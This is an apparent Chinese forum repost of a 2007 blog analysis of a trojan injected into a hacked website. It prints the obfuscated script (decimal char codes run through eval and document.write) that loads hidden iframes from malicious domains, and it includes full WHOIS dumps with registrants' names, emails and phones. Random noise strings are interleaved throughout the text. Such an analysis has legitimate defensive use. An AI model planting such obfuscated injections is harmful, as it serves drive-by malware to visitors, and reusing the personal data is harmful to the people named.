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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, X2qv^G,  
uKv&7p@|_)  
http://www.areway.cn/?p=175 hi!`9k  
%dc3z"u  
.;9jdGBf  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 2UiR~P]%  
          ~/2g)IS  
<script>t=’60,105,102,114,97,109,101, {;*}WPYb  
32,115,114,99,61,104,116,116,112,58,47,47, ]bm=LA  
102,114,101,101,46,117,45,117,117,117,46,99, "f4<B-9<$  
110,47,101,114,114,111,114,46,104,116,109, a5|@R<iF  
32,119,105,100,116,104,61,49,48,48,32,104, ^=^$tF  
101,105,103,104,116,61,48,62,60,47,105,102, 'TL2%T/)t  
114,97,109,101,62′; 9e!vA6Fx  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 9RH"d[%yc}  
                                                                                                  n@hl2M6.x9  
<script>t=’60,105,102,114,97,109,101,32,115, :}Ok$^5s  
114,99,61,104,116,116,112,58,47,47,102,114, OOokhZd`  
101,101,46,117,45,117,117,117,46,99,110,47, /Y,r@D  
101,114,114,111,114,46,104,116,109,32,119, r$ =qQ7^#  
105,100,116,104,61,49,48,48,32,104,101,105, zN%97q_  
103,104,116,61,48,62,60,47,105,102,114,97, yG\UW&P  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ,9d9_c.T  
document.write(t);</script> /%!~x[BeJ>  
                                                                                                  e'34Pw!m  
<html xmlns=” Pe}PH I  
http://www.w3.org/1999/xhtml u^=`%)  
“> V>Fesm"aq  
<head> %t*  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> ~h! 13!  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />  Hy]  
<title>首页 - 爱生活家庭网 zzJja/mp  
                                                                                                                                                    vg)Z]F=t(  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 :=*}htP4C  
转换字符串后的大概内容是(谁点击后果自付): ~M5:=zKQ  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 7NJFWz!  
                                                                                                                                  X P;Bhz3j  
查询玉米u-uuu.cn的详细信息: Mu{BUtkzG  
Domain Name: u-uuu.cn ~EEs} i  
ROID: 20070901s10001s64972306-cn u`_*g^5q"  
Domain Status: ok pISp*&  
Registrant Organization: 王雷 dFW.}"^c  
Registrant Name: 王雷 !77NG4B  
Administrative Email: czlovexs@126.com 8O7Yv<  
Sponsoring Registrar: 北京万网志成科技有限公司 =xL)$DTg)  
Name Server:ns.yovole.com _7"5wB?|+  
Name Server:ns1.yovole.com /aYpIMi9}  
Registration Date: 2007-09-01 17:54 8.QSqW7t  
Expiration Date: 2008-09-01 17:54 L&kr{7q  
最后PING了一下地址 都没有什么…. X`:'i?(yj  
                                                                                                <^8*<;PaG  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 4r&f%caU  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> oh~: ,  
<script language=”javascript” src=” M&KyA  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script +Rwx% =  
> -:<lkq&/  
这个玉米应该有可能是木马作者的: [|RjHGf  
foafau.info的详细信息: )K;]y-Us[  
Access to INFO WHOIS information is provided to assist persons in kccWoU,  
determining the contents of a domain name registration record in the Y/fJQ6DY  
Afilias registry database. The data in this record is provided by k_ Y~;P@  
Afilias Limited for informational purposes only, and Afilias does not Dz;HAyPj  
guarantee its accuracy.  This service is intended only for query-based  \S4SI  
access. You agree that you will use this data only for lawful purposes mrM4RoO  
and that, under no circumstances will you use this data to: (a) allow, U]R~gy}#  
enable, or otherwise support the transmission by e-mail, telephone, or Zgamd1DJ[l  
facsimile of mass unsolicited, commercial advertising or solicitations })Yv9],6  
to entities other than the data recipient’s own existing customers; or P`(Mk6gE  
(b) enable high volume, automated, electronic processes that send 6B" egYv  
queries or data to the systems of Registry Operator, a Registrar, or 0 )}$^TV  
Afilias except as reasonably necessary to register domain names or X(*!2uS  
modify existing registrations. All rights reserved. Afilias reserves pK}=*y~$  
the right to modify these terms at any time. By submitting this query, ?mv:neh  
you agree to abide by this policy. o&SSv W  
Domain ID:D22418703-LRMS pf&ag#nr  
Domain Name:FOAFAU.INFO t Rm+?  
Created On:20-Nov-2007 16:05:42 UTC -Q"hZ9  
Last Updated On:20-Nov-2007 16:05:44 UTC j}f[W [2  
Expiration Date:20-Nov-2008 16:05:42 UTC D-&a n@  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ]s_8A`vm  
Status:CLIENT DELETE PROHIBITED H'DVwnn>ik  
Status:CLIENT RENEW PROHIBITED ZVih=Y-w  
Status:CLIENT TRANSFER PROHIBITED !<<AzLVL  
Status:CLIENT UPDATE PROHIBITED Q.Aa{d9e  
Status:TRANSFER PROHIBITED Kz?#C  
Registrant ID:GODA-040110615 s{}]D{bc  
Registrant Name:liu hong eE(b4RCM  
Registrant Organization: skg|>R,kE  
Registrant Street1:beijing n V&cC  
Registrant Street2: 6RoAl$}'  
Registrant Street3: =qu(~]2(  
Registrant City:beijing ru9zTZZD  
Registrant State/Province: vScjq5 "p  
Registrant Postal Code:100000 .0p^W9  
Registrant Country:CN N|usFqCNk^  
Registrant Phone:+86.860108888777 N ( Oyi  
Registrant Phone Ext.: M 4yI`dr6  
Registrant FAX: vFv3'b$;G  
Registrant FAX Ext.: I&VTW8jB  
Registrant Email:bbbshiji@163.com zjl!9M!  
Admin ID:GODA-240110615 wT,R0~V0  
Admin Name:liu hong 0~Gle:  
Admin Organization: WFTvOFj  
Admin Street1:beijing ravyiO L  
Admin Street2: aZS7sV28  
Admin Street3: !&^gaUa{  
Admin City:beijing A7Po 3n%Q  
Admin State/Province: :-T*gqj|  
Admin Postal Code:100000 -NJ!g/ >mM  
Admin Country:CN 7[pBUDA  
Admin Phone:+86.860108888777 YHXLv#8  
Admin Phone Ext.: nz]&a1"&  
Admin FAX: i)a%!1Ar  
Admin FAX Ext.: i3$$,W!  
Admin Email:bbbshiji@163.com fyknP)21I  
Billing ID:GODA-340110615 L gk   
Billing Name:liu hong EgjR^A1W2  
Billing Organization: XvTCK>1  
Billing Street1:beijing hX:"QXx  
Billing Street2: D{8PQ2x>  
Billing Street3: 3SttHu0X  
Billing City:beijing Of,2Q#oji  
Billing State/Province: I:cg}JZ>|  
Billing Postal Code:100000 i1lBto[  
Billing Country:CN S$,'Q^~K  
Billing Phone:+86.860108888777 u\yVR$pQ  
Billing Phone Ext.: fWnD\mx?0  
Billing FAX: ]6r;}1c  
Billing FAX Ext.: $'rG-g!f\  
Billing Email:bbbshiji@163.com w"Y` ]2  
Tech ID:GODA-140110615 RE2&mYt  
Tech Name:liu hong 58Xzup_"  
Tech Organization: e'%v1-&sP  
Tech Street1:beijing ia@'%8  
Tech Street2: (t+;O;  
Tech Street3: E H:T  
Tech City:beijing FzQTDu9  
Tech State/Province: 'k0[rDFc#3  
Tech Postal Code:100000 kRCQv-*  
Tech Country:CN uo%P+om_}  
Tech Phone:+86.860108888777 b;sVls  
Tech Phone Ext.: :KJ pk:<  
Tech FAX: \NZIEu)5?  
Tech FAX Ext.: !E8X~DJ  
Tech Email:bbbshiji@163.com }@ Z56  
Name Server:NS27.DOMAINCONTROL.COM V" \0Y0  
Name Server:NS28.DOMAINCONTROL.COM *iBTI+"]  
Name Server: H,3\0BKk  
Name Server: OJ|r6  
Name Server: :}8Z@H!KkY  
Name Server: ,l YE  
Name Server: W!Hm~9fz  
Name Server: "5R~(+~<@  
Name Server: \MC-4Yz  
Name Server: EP'h@zdz  
Name Server: q;g>t5]a  
Name Server: l/TjQ*  
Name Server: Z;Ez"t&U  
                                                                                                          [qUN4x5b  
接着下载每个文件里面的代码: MTg:dR_  
一步一步看.. a7zcIwk '{  
. o7m!  
`nM/l @  
o8/ ;;*  
4;n6I)&.(  
,YTIC8qKr  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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